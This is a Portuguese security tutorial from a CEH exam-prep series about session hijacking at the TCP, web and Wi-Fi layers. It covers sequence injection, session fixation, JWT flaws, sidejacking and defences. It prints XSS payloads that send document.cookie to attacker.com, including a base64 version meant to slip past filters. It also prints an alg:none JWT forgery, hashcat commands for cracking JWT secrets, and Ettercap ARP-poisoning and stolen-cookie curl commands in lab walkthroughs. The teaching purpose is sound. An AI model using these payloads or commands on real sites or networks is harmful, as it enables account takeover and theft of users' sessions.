Session Hijacking: Sequestrando Sessões TCP, Web e Wireless

Session Hijacking: Sequestrando Sessões TCP, Web e Wireless

Quando você faz login num site, um detalhe invisível acontece: o servidor cria uma sessão — um estado que lembra “este usuário está autenticado”. A partir desse momento, cada request que seu navegador envia carrega um token (cookie, header, campo oculto) que diz ao servidor “eu sou quem digo ser”. O problema? Se um atacante conseguir roubar esse token, ele não precisa da sua senha. Ele simplesmente apresenta o mesmo token e o servidor o aceita de braços abertos. Isso é session hijacking — e é uma das técnicas mais devastadoras do arsenal de um atacante.

Este artigo da série CEH v13 Zero to Hero cobre session hijacking de ponta a ponta: do TCP handshake até cookies HTTP, passando por ferramentas práticas e contra-medidas que todo profissional de segurança precisa conhecer.

O que é Session Hijacking

Session hijacking (sequestro de sessão) é o ato de tomar controle de uma sessão estabelecida entre dois sistemas — tipicamente um cliente (navegador) e um servidor — após a autenticação ter ocorrido. O atacante rouba, prevê ou injeta o identificador de sessão e se passa pelo usuário legítimo.

A diferença fundamental em relação a outros ataques: o atacante não precisa descobrir credenciais. Ele usa um token que já é válido porque o usuário real acabou de autenticar. Para o servidor, a requisição do atacante é indistinguível da do usuário legítimo.

Há duas grandes categorias:

• Network-level hijacking — o atacante age na camada de rede/transporte, interceptando e manipulando pacotes TCP. Exemplos: TCP hijacking, RST attacks, ARP poisoning para capturar sessões.
• Application-level hijacking — o atacante age na camada de aplicação, roubando ou prevendo tokens de sessão (cookies, JWTs, session IDs em URLs). Exemplos: XSS para steal cookies, session fixation, session prediction.

TCP Session Hijacking

No nível de rede, toda sessão TCP começa com o famoso 3-way handshake. Esse handshake estabelece números de sequência (sequence numbers) que controlam a ordem dos dados e garantem integridade. O problema é que, se um atacante conhecer ou puder adivinhar esses números, ele pode injetar pacotes na conexão existente.

O diagrama abaixo mostra o handshake e onde o hijacking acontece:

  CLIENTE                          SERVIDOR
    |                                |
    |  1. SYN  (seq=1000)           |
    |------------------------------> |
    |                                |
    |  2. SYN-ACK (seq=3000,        |
    |             ack=1001)          |
    | <------------------------------|
    |                                |
    |  3. ACK  (seq=1001,           |
    |            ack=3001)           |
    |------------------------------> |
    |                                |
    |   ===== SESSÃO ESTABELECIDA =====
    |   O servidor espera seq=1001
    |   O cliente espera seq=3001
    |                                |
    |  [DADOS] (seq=1001, ack=3001) |
    |------------------------------> |
    |                                |
    |     ⚡ ATAQUE: Atacante        |
    |     injeta pacote com          |
    |     seq=1001+len(dados),       |
    |     ack=3001                   |
    |  ------------------------->    |
    |  (servidor aceita se o seq     |
    |   estiver correto!)            |

Como funciona na prática

TCP é um protocolo confiável. Cada byte enviado carrega um número de sequência, e cada acknowledgment confirma quantos bytes foram recebidos. Se o atacante puder observar o tráfego (por exemplo, numa rede comutada via ARP poisoning), ele sabe os próximos números de sequência esperados e pode injetar dados na conexão — o servidor aceita porque o seq está correto.

Existem duas modalidades principais:

1. Blind Hijacking (Injeção Cega)

O atacante não vê o tráfego — ele não está na mesma rede ou não tem capacidade de sniffing. Ele precisa adivinhar o próximo sequence number. Historicamente, implementações TCP antigas usavam contadores incrementais simples, tornando a previsão trivial. Hoje, sistemas modernos usam inicialização aleatória de seq numbers (ISN) forte, tornando blind hijacking extremamente difícil.

2. Man-in-the-Browser / Man-in-the-Middle

O atacante posiciona-se entre cliente e servidor (via ARP spoofing, rogue Wi-Fi, DNS poisoning). Ele vê todo o tráfego, conhece os seq/ack exatos e pode modificar, injetar ou dropar pacotes à vontade.

RST Attacks

Um ataque particularmente eficiente é o TCP RST (Reset). O atacante envia um pacote RST para um dos lados da conexão com o sequence number correto. O receptor encerra a conexão imediatamente. Isso é usado para:

• Forçar a vítima a reconectar (possivelmente através de um proxy controlado pelo atacante)
• Denial of Service contra uma sessão específica
• Como parte de um ataque de TCP hijacking mais amplo — resetar a conexão legítima para depois assumir com novos seq numbers

Ferramentas históricas de TCP hijacking

Application-Level Hijacking

Enquanto o TCP hijacking atua na camada de transporte, o application-level hijacking foca nos tokens de sessão que aplicações web usam para manter o estado de autenticação.

Onde ficam os Session IDs

Aplicações web podem armazenar o identificador de sessão em três lugares:

1. Cookies (mais comum)

Set-Cookie: PHPSESSID=a1b2c3d4e5f6g7h8; Path=/; HttpOnly; Secure

2. URL rewriting

https://exemplo.com/dashboard?JSESSIONID=a1b2c3d4e5f6g7h8

3. Hidden form fields

<input type="hidden" name="jsessionid" value="a1b2c3d4e5f6g7h8">

Os dois últimos são particularmente problemáticos: o session ID aparece em logs, no histórico do navegador, em referrer headers e pode ser compartilhado acidentalmente via copiar/colar de URL.

Como roubar session tokens

Existem várias técnicas para se apoderar de um session token:

• XSS (Cross-Site Scripting) — o método mais direto. Um script malicioso executado no contexto da aplicação lê e envia o cookie de sessão para o atacante.
• Network sniffing — em redes não-criptografadas (HTTP, Wi-Fi aberto), o cookie trafega em claro. Qualquer pessoa na mesma rede pode capturá-lo.
• Session fixation — o atacante força a vítima a usar um session ID que ele já conhece.
• Session prediction — o servidor gera session IDs de forma previsível (algoritmo fraco, seed conhecida).
• Malware — keyloggers e bankers extraem cookies e session data diretamente do navegador.

Session Fixation

O atacante obtém um session ID válido do servidor (visitando a página de login, por exemplo). Ele então convence a vítima a usar esse ID — através de um link com o session ID na URL, ou injetando o cookie via XSS. Quando a vítima faz login, o servidor associa aquele session ID à conta autenticada da vítima. O atacante, que já possui o session ID, agora está autenticado como a vítima.

1. Atacante visita: https://alvo.com/login → recebe JSESSIONID=abc123
2. Atacante envia link para vítima:
   https://alvo.com/login?JSESSIONID=abc123
3. Vítima clica, faz login com credenciais
4. Servidor associa abc123 à conta da vítima
5. Atacante usa: Cookie: JSESSIONID=abc123 → logged in!

Session Prediction

Se o gerador de session IDs usar algoritmos fracos — como timestamps, incrementais simples, hash MD5 de dados previsíveis — o atacante pode calcular ou enumerar IDs válidos e testá-los até encontrar uma sessão ativa. Isso era comum em aplicações antigas (PHP 3/4, ASP clássico). Hoje, frameworks modernos usam CSPRNG (Cryptographically Secure Pseudo-Random Number Generators), tornando o ataque impraticável.

Cookie Stealing via XSS

XSS é o vetor mais eficaz para roubar cookies de sessão. O princípio é simples: injetar JavaScript que execute no contexto da vítima, acesse document.cookie e envie o valor para um servidor controlado pelo atacante.

Payload básico

<script>
  new Image().src = "https://attacker.com/steal?c=" + document.cookie;
</script>

Esse payload cria uma imagem invisível cuja URL carrega os cookies da vítima como parâmetro de query. Quando o navegador tenta carregar a imagem, a requisição HTTP vai para o servidor do atacante com os cookies expostos no log de acesso.

Payload com codificação (bypass de filtros)

<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({cookie: document.cookie})
  });
</script>

// Encode base64 para evitar detection por WAF
<script>
  var c = btoa(document.cookie);
  new Image().src = "https://attacker.com/?d=" + c;
</script>

Como o atacante usa o cookie roubado

# O atacante captura nos logs:
GET /steal?c=session_id=eyJhbGciOiJIUzI1NiJ9...; user_role=admin

# Usa curl para testar:
curl -k -H "Cookie: session_id=eyJhbGciOiJIUzI1NiJ9..." \
     https://alvo.com/admin/dashboard

# Ou configura o cookie no próprio navegador via DevTools:
# Application → Cookies → Definir o valor roubado

HttpOnly: a defesa primária

O flag HttpOnly impede que JavaScript acesse o cookie. Se o cookie de sessão estiver marcado como HttpOnly, document.cookie retorna string vazia e o XSS não consegue lê-lo diretamente:

# SEM HttpOnly (vulnerável):
document.cookie  // → "session_id=abc123; user_role=admin"

# COM HttpOnly (protegido):
document.cookie  // → "" (cookie não acessível via JS)

Token Prediction e Replay Attacks

JWT Session Hijacking

JWTs (JSON Web Tokens) são frequentemente usados para autenticação stateless. Se implementados incorretamente, abrem portas para sequestro de sessão:

1. Algoritmo none

O atacante altera o header do JWT para usar "alg":"none" e remove a assinatura. Algumas bibliotecas antigas aceitam tokens sem assinatura:

// Header modificado:
{ "alg": "none", "typ": "JWT" }
// Payload forjado:
{ "sub": "admin", "role": "administrator" }
// Sem assinatura — bibliotecas vulneráveis aceitam

2. Segredo fraco

Se o secret usado para HMAC-SHA256 for fraco (“secret”, “password123”), é possível brute-force a chave e forjar tokens arbitrários:

# john ou hashcat para quebrar JWT
hashcat -m 16500 jwt.txt wordlist.txt
john --wordlist=rockyou.txt jwt.txt

Replay Attacks

Um replay attack ocorre quando o atacante captura uma requisição legítima (com token de sessão válido) e a reenvia para o servidor. Sem proteções adicionais, o servidor processa normalmente porque o token é válido.

# Vítima faz transferência:
POST /api/transfer HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
{"to":"conta_vitima","amount":500}

# Atacante captura e reenvia (replay):
POST /api/transfer HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
{"to":"conta_vitima","amount":500}
# Se não houver proteção, a transferência acontece de novo!

Defesas contra replay:

• Timestamp — o token inclui um timestamp e o servidor rejeita tokens “velhos” (ex: > 5 minutos)
• Nonce (Number Used Once) — cada requisição inclui um valor único que o servidor registra e nunca aceita novamente
• Token binding — amarra o token a propriedades da conexão (IP, certificado TLS)
• One-time tokens — tokens de uso único, invalidados após consumação

Session Sidejacking

Session sidejacking é uma variação específica de session hijacking focada em capturar cookies de sessão em tráfego não-criptografado ou parcialmente criptografado.

Firesheep: o caso que popularizou o problema

Em 2010, Eric Butler lançou o Firesheep, uma extensão para Firefox que demonstrou quão fácil era capturar sessões em redes Wi-Fi abertas. O Firesheep monitorava a rede wireless, capturava cookies HTTP de sites populares (Facebook, Twitter, Google, Amazon) e adicionava um botão no navegador: “fazer login como [usuário]”. Com um clique, o atacante assumia a identidade da vítima.

Firesheep não era exatamente uma vulnerabilidade nova — o problema era que sites importantes usavam HTTPS apenas na página de login, retornando para HTTP (com cookies em claro) nas páginas seguintes. O ataque era tão simples que qualquer pessoa com o plugin podia executá-lo.

Ferramentas de sidejacking

Cookie Cadger — ferramenta Java que monitora interfaces de rede e extrai cookies de sessão. Apresenta os cookies capturados numa interface gráfica e permite utilizá-los diretamente.

Wireshark + filtro HTTP — interceptar cookies manualmente:

# Filtro Wireshark para capturar cookies:
http.cookie

# Filtro para capturar headers de autenticação:
http.authorization

Ataques a redes wireless

Redes Wi-Fi abertas (sem senha) são o cenário clássico para sidejacking. Toda a comunicação entre clientes e access point é visível para qualquer dispositivo na mesma rede. Mesmo redes com WEP (quebrável em minutos) ou WPA/WPA2 com PSK fraco expõem o tráfego depois da chave capturada.

O atacante entra na rede, ativa modo promíscuo, e aguarda cookies de sessão passarem em claro. Em cafeterias, aeroportos e hotéis — onde redes abertas são comuns — isso era (e às vezes ainda é) trivial.

Ferramentas

O ecossistema de ferramentas para session hijacking é amplo. Aqui as mais relevantes para o exame CEH e para prática:

Hands-on

A seguir, dois labs práticos que demonstram técnicas de session hijacking em ambiente controlado. Apenas use em redes e sistemas que você tem permissão explícita para testar.

Lab 1: Ettercap — ARP Poisoning + Captura de Cookies

Cenário: Rede de laboratório. O atacante está na mesma LAN que a vítima e o servidor web (HTTP, sem HTTPS).

Passo 1: Ativar IP forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

Passo 2: Iniciar Ettercap

# Scannear a rede
ettercap -T -M arp:remote /gateway// /vitima//

# Ou via interface gráfica:
ettercap -G
# → Sniff → Unified sniffing → selecione interface
# → Hosts → Scan for hosts
# → Hosts → Add to Target 1 (gateway)
# → Hosts → Add to Target 2 (vitima)
# → MITM → ARP poisoning → Sniff remote connections ✓
# → Start → Start sniffing

Passo 3: Capturar cookies

# O Ettercap filtra automaticamente informações sensíveis
# No output, procure por linhas como:
HTTP : 192.168.1.10:80 -> USER: admin  PASS: ****
COOKIE: PHPSESSID=4f8a2b1c9e3d7f6a  INFO: session_id

# Ou ativar o filtro de credenciais específico:
ettercap -T -M arp:remote /gateway// /vitima// -P autoadd

Passo 4: Usar o cookie roubado

# Com curl:
curl -H "Cookie: PHPSESSID=4f8a2b1c9e3d7f6a" http://alvo.com/dashboard

# Ou definir o cookie no navegador:
# Abra DevTools → Application → Cookies
# Adicione: PHPSESSID = 4f8a2b1c9e3d7f6a
# Acesse http://alvo.com/dashboard → logged in como a vítima

Lab 2: Burp Suite — Manipulação de Session Token

Cenário: Aplicação web vulnerável (ex: DVWA, WebGoat ou app de laboratório).

Passo 1: Configurar Burp como proxy

# Configure o navegador para usar o proxy do Burp:
# Host: 127.0.0.1  Port: 8080
# Instale o certificado CA do Burp em: http://burp

Passo 2: Login e captura do token

# No Proxy → HTTP history, localize o request de login
# Observe o Set-Cookie na response:
Set-Cookie: dvwaSession=a1b2c3d4e5f6; path=/; HttpOnly

# Se o cookie NÃO tiver HttpOnly → candidato a XSS theft
# Se o cookie NÃO tiver Secure → candidato a network sniffing

Passo 3: Modificar o session token

# No Burp, selecione um request autenticado
# Right-click → Send to Repeater
# Na aba Repeater, modifique o cookie:
Cookie: dvwaSession=aaaaaaaaaaaa

# Envie e observe:
# → Se retornar erro de sessão inválida: boa validação
# → Se retornar página de outro usuário: VULNERABILIDADE!
# → Se retornar página de login: token verificado, parcialmente seguro

Passo 4: Testar session fixation

# Antes de fazer login, capture o cookie de sessão:
GET /login.php
Cookie: dvwaSession=abc123

# Envie esse cookie para uma vítima (simulado):
# Vítima faz login com esse cookie
# Verifique se o session ID muda após login:
# → Se MUDOU: proteção contra fixation existe (bom)
# → Se NÃO mudou: vulnerável a session fixation

Contra-medidas

A defesa contra session hijacking exige camadas. Nenhuma medida individual é suficiente — a combinação delas cria profundidade defensiva.

1. HTTPS Everywhere + HSTS

Toda comunicação deve ser criptografada. HSTS (HTTP Strict Transport Security) força o navegador a usar HTTPS exclusivamente, impedindo ataques de downgrade para HTTP:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Isso elimina completamente o sidejacking em redes Wi-Fi e mitiga sniffing de cookies.

2. Flags de Cookie

# Cookie seguro ideal:
Set-Cookie: session_id=xyz; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

3. Session Timeout Curto

Sessões devem expirar rapidamente. Após inatividade (ex: 15 minutos) e com tempo máximo absoluto (ex: 8 horas). Tokens JWT devem ter expiração curta (exp claim) e usar refresh tokens para renovação.

4. Session Binding

Amarre a sessão a propriedades do cliente que o atacante não pode facilmente falsificar:

• IP binding — registrar o IP da vítima ao criar a sessão e verificar a cada request. Limitação: IPs dinâmicos e NAT quebram essa abordagem.
• User-Agent binding — registrar o User-Agent e verificar. Limitação: fácil de falsificar, mas adiciona uma camada.
• TLS fingerprint — usar características da conexão TLS (cipher suite, extensions) como fingerprint.

5. Token Rotation

Após eventos sensíveis (login, troca de senha, alteração de privilégios), regenere o session ID. O ID antigo é invalidado imediatamente. Isso previne session fixation e limita a janela de exploração se um token for comprometido.

6. MFA (Multi-Factor Authentication)

MFA não previne session hijacking diretamente — se a sessão já está sequestrada, o atacante bypassa o fator que já foi apresentado. Mas MFA com reautenticação para ações sensíveis (transferências bancárias, alteração de dados pessoais) adiciona uma camada de segurança crítica.

7. CSRF Tokens

Embora CSRF tokens protejam contra um ataque diferente (Cross-Site Request Forgery), eles são relevantes porque limitam a capacidade do atacante de executar ações na sessão sequestrada a partir de um contexto diferente. Tokens CSRF por request (não por sessão) são ideais.

Próximo Artigo

No Artigo 17, vamos abordar Denial of Service (DoS) e Distributed Denial of Service (DDoS) — como atacantes sobrecarregam sistemas e redes para tornar serviços indisponíveis. Veremos técnicas como SYN flood, UDP flood, amplification attacks, botnets e as ferramentas usadas tanto por atacantes quanto por defensores. Até lá.